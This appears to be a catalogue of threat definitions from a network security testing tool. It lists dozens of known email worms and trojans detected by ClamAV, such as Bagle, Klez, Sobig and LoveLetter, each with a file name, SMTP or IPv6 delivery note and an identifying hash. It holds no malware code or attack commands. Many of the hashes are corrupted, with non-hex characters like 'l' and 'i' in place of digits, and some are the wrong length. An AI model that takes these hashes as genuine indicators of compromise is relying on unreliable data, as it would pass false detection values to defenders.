Threat File Name:	Email-Worm.Win32.Lindodia.lin.9796500e_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Lindodia.lin (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Lindodia.lin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Lindodia.lin. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Zoek.a.a.346c2d02.xml
Executive Description:	Email Virus Email-Worm.Win32.Zoek.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Zoek.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Zoek.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.89031853_IPv6.xml
Executive Description:	Email Virus Worm.Heath.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 89031853f1bce576777349bde1754879. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Suppl.Worm.1.7ec3bc06_IPv6.xml
Executive Description:	Email Virus Trojan.Suppl.Worm.#1 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Suppl.Worm.#1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7ec3bc06612a98f7514a0613625b6749. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lovgate.T.0a5859ef_IPv6.xml
Executive Description:	Email Virus Worm.Lovgate.T (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lovgate.T as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0a5859efb4c96c4af86566efdb8acb18. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Worm.Choke.ddff1350_IPv6.xml
Executive Description:	Email Virus W32.Worm.Choke (IPv6 Version)
Detailed Description:	This is the email virus W32.Worm.Choke as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ddff13508999d4144105fa2dcf75fc78. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mawanella.e7dac122_IPv6.xml
Executive Description:	Email Virus Worm.Mawanella (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mawanella as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e7dac122cc7bb5b71d47421220397ac5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Granil.gra.1e0e08a2_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Granil.gra (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Granil.gra as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Granil.gra. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sobig.E.d3a8b3dc.xml
Executive Description:	Email Virus Worm.Sobig.E
Detailed Description:	This is the email virus Worm.Sobig.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d3a8b3dcde44b81c0e69cc2a8a36e844. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.4eb65cb5_IPv6.xml
Executive Description:	Email Virus Exploit.IFrame.Gen (IPv6 Version)
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4eb65cb5c94cd99a6ef000cf897083df. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BD.7e8a6fca_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter.BD (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter.BD as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7e8a6fcaa83d76cad8b12a601df067b2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.O.9d7006e3.xml
Executive Description:	Email Virus Worm.SomeFool.O
Detailed Description:	This is the email virus Worm.SomeFool.O as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9d7006e30fdf15e9c8e03e62534b3a3e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.H.blaac76f.xml
Executive Description:	Email Virus Worm.Bagle.H
Detailed Description:	This is the email virus Worm.Bagle.H as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: blaac76f0cf7ff43620f7b0a844cfbaf. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Naked.da9dba70.xml
Executive Description:	Email Virus Worm.Naked
Detailed Description:	This is the email virus Worm.Naked as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: da9dba70de70dc43d6535f2975ceec68d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.1.1.d1b98f7e.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.1.1
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.1.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.1.1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Nihilist.c.188e2521.xml
Executive Description:	Email Virus Worm.Nihilist.c
Detailed Description:	This is the email virus Worm.Nihilist.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 188e2521adlead34ce3833454c002460. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Newman.B.bca20f5b_IPv6.xml
Executive Description:	Email Virus Worm.Newman.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Newman.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bca20f5ba03447e2afe05688d43bdd8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Frethem.d.bb68fe35_IPv6.xml
Executive Description:	Email Virus Worm.Frethem.d (IPv6 Version)
Detailed Description:	This is the email virus Worm.Frethem.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb68fe3595983ad30028b506elb88a08. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Aliz.47412900_IPv6.xml
Executive Description:	Email Virus W32.Aliz (IPv6 Version)
Detailed Description:	This is the email virus W32.Aliz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 474129006446c8250975ad820837d836. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Veka.19d67837.xml
Executive Description:	Email Virus Worm.Veka
Detailed Description:	This is the email virus Worm.Veka as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 19d67837bleb1256596e35f18cbe7042. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lee.r.558c0dc7_IPv6.xml
Executive Description:	Email Virus Worm.Lee.r (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lee.r as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 558c0dc7a4a060dbb00bbea793d5f942. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Unis.c.c.71117908.xml
Executive Description:	Email Virus Email-Worm.Win32.Unis.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Unis.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Unis.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Pikachu.AuExec.715614e0_IPv6.xml
Executive Description:	Email Virus Worm.Pikachu.AuExec (IPv6 Version)
Detailed Description:	This is the email virus Worm.Pikachu.AuExec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 715614e09261b39dfa439fa1326c0cec. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Energy.g.g.655b604b.xml
Executive Description:	Email Virus Email-Worm.Win32.Energy.g.g
Detailed Description:	This is the email virus Email-Worm.Win32.Energy.g.g as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Energy.g.g. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Avron.b.b.c80e8ea9.xml
Executive Description:	Email Virus Email-Worm.Win32.Avron.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Avron.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Avron.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.ZippedFiles.d.d.884b68d5_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.ZippedFiles.d.d (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.ZippedFiles.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.ZippedFiles.d.d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Likun.b.1dd54d76.xml
Executive Description:	Email Virus Worm.Likun.b
Detailed Description:	This is the email virus Worm.Likun.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1dd54d76f9170dac6995dcf9fd5ff827. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Delta.A.f0ed4e5b.xml
Executive Description:	Email Virus Worm.Delta.A
Detailed Description:	This is the email virus Worm.Delta.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f0ed4e5bd8930229f7237f9dai827f08. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Viled.vil.elb7d861.xml
Executive Description:	Email Virus Email-Worm.Win32.Viled.vil
Detailed Description:	This is the email virus Email-Worm.Win32.Viled.vil as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Viled.vil. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.239644e3_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 239644e3lce940a25a8ca907feba0d19. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Heffer.d.d.fbff8e90.xml
Executive Description:	Email Virus Email-Worm.Win32.Heffer.d.d

Detailed Description:	This is the email virus Email-Worm.Win32.Heffer.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Heffer.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Kuasa.B.74f6e7d5.xml
Executive Description:	Email Virus Worm.VBS.Kuasa.B
Detailed Description:	This is the email virus Worm.VBS.Kuasa.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 74f6e7d5fdc5fe88a64e74928f3b54e6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Frido.B.6348862c_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Frido.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Frido.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6348862cb0baffc0cdd595876a90aeel. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Yoyks.b.b.ddfee83b_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Yoyks.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Yoyks.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Yoyks.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mytob.S.931e4d09.xml
Executive Description:	Worm.Mytob.S
Detailed Description:	This is the email virus Worm.Mytob.S as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 931e4d097c51cb6bd561ab6b2015853f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Killav-31.7f6ea6c3_IPv6.xml
Executive Description:	Email Virus Trojan.Killav-31 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Killav-31 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7f6ea6c3ealfbf9d9d61ac29f8e2df47a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Petik.I.8781b9a7_IPv6.xml
Executive Description:	Email Virus Worm.Petik.I (IPv6 Version)
Detailed Description:	This is the email virus Worm.Petik.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8781b9a791c0c144e97a466486f6ef33. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yarner.B.bb088d1c_IPv6.xml
Executive Description:	Email Virus Worm.Yarner.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yarner.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb088d1c281333cdcaa644d7abb4ef27. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.470bb58a_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 470bb58a9bd7e58760ecec5c37e93f76. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-vbs.6c6238ce_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-vbs (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Gen-vbs as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6c6238ce315e87c909aaa2431fe7e879. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Anar.A.c3993c02.xml
Executive Description:	Email Virus Worm.Anar.A
Detailed Description:	This is the email virus Worm.Anar.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c3993c02a91cb99e959da0053a8460ab. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.m.m.5f9bd12f_IPv6.xml

Executive Description:	Email Virus Email-Worm.DOS.Kondrik.m.m (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.m.m as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.m.m. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Plemood.ple.d31fbdcc_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Plemood.ple (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Plemood.ple as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Plemood.ple. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	JS.Wobbler.A.7f818c2d_IPv6.xml
Executive Description:	Email Virus JS.Wobbler.A (IPv6 Version)
Detailed Description:	This is the email virus JS.Wobbler.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7f818c2d707b9562c66aa8e86e1799e2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sonic.A.2325cd4e_IPv6.xml
Executive Description:	Email Virus Worm.Sonic.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sonic.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2325cd4e9320b43fb9ca766873eel58a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Kelino.g.g.a629d04d.xml
Executive Description:	Email Virus Email-Worm.Win32.Kelino.g.g
Detailed Description:	This is the email virus Email-Worm.Win32.Kelino.g.g as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Kelino.g.g. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	JS.Wobbler.A.ae962227.xml
Executive Description:	Email Virus JS.Wobbler.A
Detailed Description:	This is the email virus JS.Wobbler.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ae962227335af514b45ba2a9196fef18. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Hybris.C.3e85d939.xml
Executive Description:	Email Virus W32.Hybris.C
Detailed Description:	This is the email virus W32.Hybris.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3e85d93924045051de517cabed5df8a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Uaper.a.a.0d969225.xml
Executive Description:	Email Virus Email-Worm.VBS.Uaper.a.a
Detailed Description:	This is the email virus Email-Worm.VBS.Uaper.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Uaper.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Eversaw.ce9f6729.xml
Executive Description:	Email Virus Worm.Eversaw
Detailed Description:	This is the email virus Worm.Eversaw as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ce9f6729e20384cbf5e6f9865276282c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Klez.E.f2db87b3.xml
Executive Description:	Email Virus Worm.Klez.E
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f2db87b351770e5995e9fcaad47d9591. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Netav.b.b.7ecd458b_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Netav.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Netav.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Netav.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Eicar-Test-Signature.f23ddc28.xml
Executive Description:	Email Virus Eicar-Test-Signature
Detailed Description:	This is the email virus Eicar-Test-Signature as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f23ddc28faac06ff61c7bd52ff76d6c7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Fanker.16d945b2_IPv6.xml
Executive Description:	Email Virus Worm.Fanker (IPv6 Version)
Detailed Description:	This is the email virus Worm.Fanker as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 16d945b2bc811fe63d05be4bb41a6261. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Apmas.apm.b35477e6_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Apmas.apm (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Apmas.apm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Apmas.apm. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Killav-31.7f6ea6c3.xml
Executive Description:	Email Virus Trojan.Killav-31
Detailed Description:	This is the email virus Trojan.Killav-31 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7f6ea6c3ealfbfd9d61ac29f8e2df47a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	JS.Firstpart.fd4f33a7_IPv6.xml
Executive Description:	Email Virus JS.Firstpart (IPv6 Version)
Detailed Description:	This is the email virus JS.Firstpart as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fd4f33a7cb2e39945765c8431722d22f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.PSW.Hooker.Based.15c2f7ec.xml
Executive Description:	Email Virus Trojan.PSW.Hooker.Based
Detailed Description:	This is the email virus Trojan.PSW.Hooker.Based as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 15c2f7ece2c6647c5e45608e39b08e34. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Visilin.9c93bcef.xml
Executive Description:	Email Virus Worm.Visilin
Detailed Description:	This is the email virus Worm.Visilin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9c93bcef6c2554cee0a34a29d109515a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Linn.lin.95fc28e0_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Linn.lin (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Linn.lin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Linn.lin. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Homepage.fbbfea3a.xml
Executive Description:	Email Virus Worm.Homepage
Detailed Description:	This is the email virus Worm.Homepage as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fbbfea3aede7415913fd6f75f893a44. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Skudex.a3db0c52_IPv6.xml
Executive Description:	Email Virus Worm.Skudex (IPv6 Version)
Detailed Description:	This is the email virus Worm.Skudex as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a3db0c5299cc3764bb9dd12e3b1926a2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Zafi.B.652968e7.xml
Executive Description:	Email Virus Worm.Zafi.B
Detailed Description:	This is the email virus Worm.Zafi.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 652968e789f74144d1e64f234406f1d4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Claus.88952561.xml
Executive Description:	Email Virus Worm.Claus
Detailed Description:	This is the email virus Worm.Claus as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 889525610bcbeaf20f389ce7c64e99fe. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.K.301b39b3.xml
Executive Description:	Email Virus Worm.SomeFool.K
Detailed Description:	This is the email virus Worm.SomeFool.K as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 301b39b3e6aafb7cae5a9d84e1c78cf6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gaggl.acaee15d.xml
Executive Description:	Email Virus Worm.Gaggl
Detailed Description:	This is the email virus Worm.Gaggl as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: acaee15da272643320997428b64a00e7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heyya.55051131.xml
Executive Description:	Email Virus Worm.Heyya
Detailed Description:	This is the email virus Worm.Heyya as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 550511312aeb46c846de4aa81ef6558f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Logic.6582bb66_IPv6.xml
Executive Description:	Email Virus Worm.Logic (IPv6 Version)
Detailed Description:	This is the email virus W32.Logic as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6582bb666663e5089dd13d3a6e73204f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Magistr.A.ca3a810e.xml
Executive Description:	Email Virus W32.Magistr.A
Detailed Description:	This is the email virus W32.Magistr.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ca3a810e952f642bf88a8370c88bd072. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Coronex.a.a.0bb8c80d.xml
Executive Description:	Email Virus Email-Worm.Win32.Coronex.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Coronex.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Coronex.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heyya.55051131_IPv6.xml
Executive Description:	Email Virus Worm.Heyya (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heyya as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 550511312aeb46c846de4aa81ef6558f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Ley.5796104f_IPv6.xml
Executive Description:	Email Virus Worm.Ley (IPv6 Version)
Detailed Description:	This is the email virus Worm.Ley as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5796104f63c28db78ccd6284df78d777. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Heather.3925747a.xml
Executive Description:	Email Virus Worm.Heather
Detailed Description:	This is the email virus Worm.Heather as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3925747aac20edc1c442cc8fd2720654. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Jubon.a.a.2817c402.xml
Executive Description:	Email Virus Email-Worm.Win32.Jubon.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Jubon.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Jubon.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	VBS.IWorm.Lee.I.5ae2dclb_IPv6.xml
Executive Description:	Email Virus VBS.IWorm.Lee.I (IPv6 Version)
Detailed Description:	This is the email virus VBS.IWorm.Lee.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5ae2dclb157cadaecb055dc264d0f3dd. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yoxec.660bla5b_IPv6.xml
Executive Description:	Email Virus Worm.Yoxec (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 660bla5b54917adb9e165f5bd49cb94b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.MailTest.20b49737_IPv6.xml
Executive Description:	Email Virus VBS.MailTest (IPv6 Version)
Detailed Description:	This is the email virus VBS.MailTest as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 20b49737d7206cee3f4971910fel4745. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Trilisa.de3a28ef.xml
Executive Description:	Email Virus W32.Trilisa
Detailed Description:	This is the email virus W32.Trilisa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: de3a28ef920c9fa4d6df342b17b389db. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
